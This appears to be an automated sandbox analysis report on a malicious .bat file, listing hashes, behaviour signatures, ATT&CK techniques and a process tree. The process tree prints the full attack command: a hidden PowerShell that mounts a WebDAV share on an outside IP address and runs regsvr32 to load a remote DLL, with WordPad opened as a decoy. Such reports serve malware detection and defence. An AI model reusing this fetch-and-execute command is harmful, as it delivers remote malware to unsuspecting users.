7b9c99238cef74174b1211cb89e61c9f86c535ff2b5823bede3b4e001ebfcd03

Analysis

max time kernel
117s
max time network
122s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 07:25

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General

Target

1245315253211615624.bat
Size

2KB
MD5

a8dd19f9bf7e967254d99ee3c42e01b8
SHA1

bbc1620a3fe94b3cf8d48ed15eef944fcb38d6ab
SHA256

8ac5a9885d6f8458a2be569a38232efe321735ffbd210d26195a12c10112aab9
SHA512

c7cf21dcaf5df3e4636962e3cb096411fb7486c25b5d844901d444975370da39dbb39fc666f1ef15be793c81ec9f4b28412717bf6db55bd19281e6547d895168

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2788	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2788	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2788	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1620	wordpad.exe
1620	wordpad.exe
1620	wordpad.exe
1620	wordpad.exe
1620	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 1620	2400	cmd.exe	31
PID 2400 wrote to memory of 1620	2400	cmd.exe	31
PID 2400 wrote to memory of 1620	2400	cmd.exe	31
PID 2400 wrote to memory of 2788	2400	cmd.exe	32
PID 2400 wrote to memory of 2788	2400	cmd.exe	32
PID 2400 wrote to memory of 2788	2400	cmd.exe	32
PID 2788 wrote to memory of 2864	2788	powershell.exe	34
PID 2788 wrote to memory of 2864	2788	powershell.exe	34
PID 2788 wrote to memory of 2864	2788	powershell.exe	34
PID 2788 wrote to memory of 2756	2788	powershell.exe	35
PID 2788 wrote to memory of 2756	2788	powershell.exe	35
PID 2788 wrote to memory of 2756	2788	powershell.exe	35
PID 2788 wrote to memory of 2756	2788	powershell.exe	35
PID 2788 wrote to memory of 2756	2788	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1245315253211615624.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1620
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\17425746410080.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2788
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2864
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\17425746410080.dll
    3⤵
    PID:2756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2400-17-0x00000000022E0000-0x00000000023E0000-memory.dmp

Filesize
1024KB

Download
memory/2400-16-0x00000000022E0000-0x00000000023E0000-memory.dmp

Filesize
1024KB

Download
memory/2788-23-0x000000001B6B0000-0x000000001B992000-memory.dmp

Filesize
2.9MB

Download
memory/2788-24-0x0000000001F70000-0x0000000001F78000-memory.dmp

Filesize
32KB

Download